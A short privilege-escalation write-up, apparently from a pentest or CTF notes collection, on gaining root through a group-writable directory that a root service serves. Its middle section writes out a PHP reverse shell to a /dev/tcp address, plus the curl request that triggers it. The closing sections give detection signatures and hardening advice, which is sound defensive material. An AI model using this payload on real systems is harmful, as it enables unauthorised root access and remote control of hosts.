RCE via a group-writable directory in a root service
A quiet escalation vector appears when a service running as root serves or includes files from a directory that a non-privileged group can write. The specific file may be protected (and reverted periodically), but if the directory is writable by our group, we can create new files inside, and the service will run them with its privileges.
The first step is to find what we own by group:
id # which groups we belong to
find / -group <group> 2>/dev/null # files/directories of that group
ls -ld /path/to/directory # is the directory group-writable?If the directory is served by a local web application (typical: a monitor on 127.0.0.1:8080), it's enough to drop a .php with a reverse shell there and request it. The service's interpreter, owned by root, runs it as root:
echo '<?php exec("bash -c \'bash -i >/dev/tcp/10.10.10.10/4444 0>&1\'"); ?>' \
> /path/to/directory/shell.php
curl http://127.0.0.1:8080/config/shell.php # trigger: shell as rootThe key is the asymmetry: even if the existing files inside belong to other users, what counts is the directory's owner (root) and the service that loads it. Writing into the directory = executing as the service's owner.
How to detect it. The signature is the creation of an executable file (.php, .py, a script) in a directory served by a root process, by an account that isn't the service owner: auditd over create/write on that path, or FIM catching the new file. Confirmation is the service process (root) spawning sh/bash as a child right after a request to the freshly dropped file (auditd/Sysmon for Linux over execve with the service's ppid). A .php with exec(//dev/tcp in a group-writable config directory is the at-rest indicator.
Defence. Directories served by privileged processes must not be writable by user groups; review group permissions with find -perm and separate the application content (read-only) from the data. Related to cron over a writable path and privileged Linux groups.